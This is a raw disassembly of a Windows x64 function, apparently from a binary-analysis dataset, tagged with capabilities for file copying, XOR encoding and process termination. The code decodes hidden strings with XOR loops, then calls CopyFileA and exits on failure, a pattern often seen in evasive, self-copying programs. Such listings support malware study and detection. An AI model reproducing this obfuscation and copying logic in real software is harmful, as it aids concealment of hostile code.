Function at 0x140002b30
Capabilities:
Copy file
Encode data using xor
Terminate process

Disassembly:
sub rsp, 0x78
call fcn.140002810
test al, al
je 0x140002b34
movups xmm0, xmmword [str.xPWPM_]
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmm1, xmmword [0x14005ae08]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str.__7_y]
movups xmmword [rsp + 0x40], xmm1
movups xmmword [rsp + 0x50], xmm0
jl 0x140002cb6
movdqa xmm0, xmmword [0x14005b180]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14005b100]
movdqa xmm4, xmmword [0x14005b190]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x14005b120]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14005b160]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005b160]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x30
jl 0x140002bb0
movaps xmm6, xmmword [rsp + 0x60]
jmp 0x140002ced
lea r8, [rsp + 0x30]
nop dword [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x30
jl 0x140002cc0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x30]
call fcn.140005fc0
add rsp, 0x78
jmp 0x140008340
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rbp
lea rbp, [rax - 0x28]
sub rsp, 0x120
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x140063080]
xor rax, rsp
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x70]
call fcn.140006990
mov rbx, rax
lea rsi, [0x1400641b8]
cmp rsi, rax
je 0x140008401
mov rdx, qword [0x1400641d0]
cmp rdx, 0xf
jbe 0x1400083c2
mov rcx, qword [0x1400641b8]
inc rdx
cmp rdx, 0x1000
jb 0x1400083bd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008433
mov rcx, r8
call fcn.14004becc
movdqa xmm0, xmmword [0x14005b0f0]
movdqu xmmword [0x1400641c8], xmm0
mov byte [0x1400641b8], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x1400641b8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x1400641c8], xmm1
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000843f
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000843a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000843a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004becc
movups xmm0, xmmword [0x14005aa38]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [0x14005aa48]
movups xmmword [rsp + 0x58], xmm1
movsd xmm0, qword [0x14005aa58]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x14005aa60]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x1400085a2
movdqa xmm5, xmmword [0x14005b100]
movdqa xmm4, xmmword [0x14005b1b0]
movdqa xmm6, xmmword [0x14005b130]
movdqa xmm7, xmmword [0x14005b150]
lea rdx, [rsp + 0x48]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x10
jl 0x1400084b0
cmp ecx, 0x16
jge 0x1400085e2
movsxd rax, ecx
lea r8, [rsp + 0x48]
lea r8, [r8 + rax*2]
nop
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x33
movzx eax, cx
sub ax, dx
add ax, 0x34
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x16
jl 0x1400085b0
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x30]
call fcn.1400055d0
nop
lea rcx, [rbp - 0x30]
call fcn.140006b50
test eax, eax
jne 0x140008607
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x14005b018]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [0x14005b028]
movups xmmword [rsp + 0x58], xmm1
mov eax, dword [0x14005b038]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x14005b03c]
mov byte [rsp + 0x6c], al
xor r8d, r8d
cmp ebx, 2
jl 0x14000877d
movdqa xmm5, xmmword [0x14005b100]
movdqa xmm4, xmmword [0x14005b1b0]
movdqa xmm6, xmmword [0x14005b130]
movdqa xmm0, xmmword [0x14005b180]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rsp + 0x4c]
mov edx, dword [rbp - 0x80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005b160]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005b160]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140008670
cmp r8d, 0x25
jge 0x1400087c3
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140008790
movups xmm0, xmmword [0x14005af58]
movups xmmword [rsp + 0x28], xmm0
movsd xmm0, qword [0x14005af68]
movsd qword [rsp + 0x38], xmm0
mov eax, dword [0x14005af70]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x14005af74]
mov byte [rsp + 0x44], al
xor r8d, r8d
cmp ebx, 2
jl 0x14000893d
movdqa xmm5, xmmword [0x14005b100]
movdqa xmm4, xmmword [0x14005b1b0]
movdqa xmm6, xmmword [0x14005b130]
movdqa xmm0, xmmword [0x14005b180]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rsp + 0x2c]
mov edx, dword [rbp - 0x80]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005b160]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005b160]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140008830
cmp r8d, 0x1d
jge 0x140008983
movsxd rax, r8d
lea r9, [rsp + 0x28]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140008950
mov r8, rsi
lea rdx, [rsp + 0x28]
lea rcx, [rbp - 0x70]
call fcn.1400091f0
nop
mov ecx, dword [0x14005af84]
mov dword [rsp + 0x20], ecx
movzx ecx, byte [0x14005af88]
mov byte [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x21], 0x35
xor byte [rsp + 0x22], 0x36
xor byte [rsp + 0x23], 0x37
xor cl, 0x38
mov byte [rsp + 0x24], cl
lea rcx, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x1400089d0
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.140009160
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140008a56
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004becc
movdqa xmm0, xmmword [0x14005b0f0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
lea rbx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rbx, qword [rbp - 0x50]
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x140008ba4
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140005780
nop
lea rdx, [rsp + 0x28]
lea rcx, [rbp - 0x30]
call fcn.140006ce0
movzx ebx, al
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140008aed
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ae8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008ae8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004becc
test bl, bl
je 0x140008af7
call fcn.140007650
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140008b36
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004becc
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x140008b79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b74
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b74
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004becc
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14004bb60
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3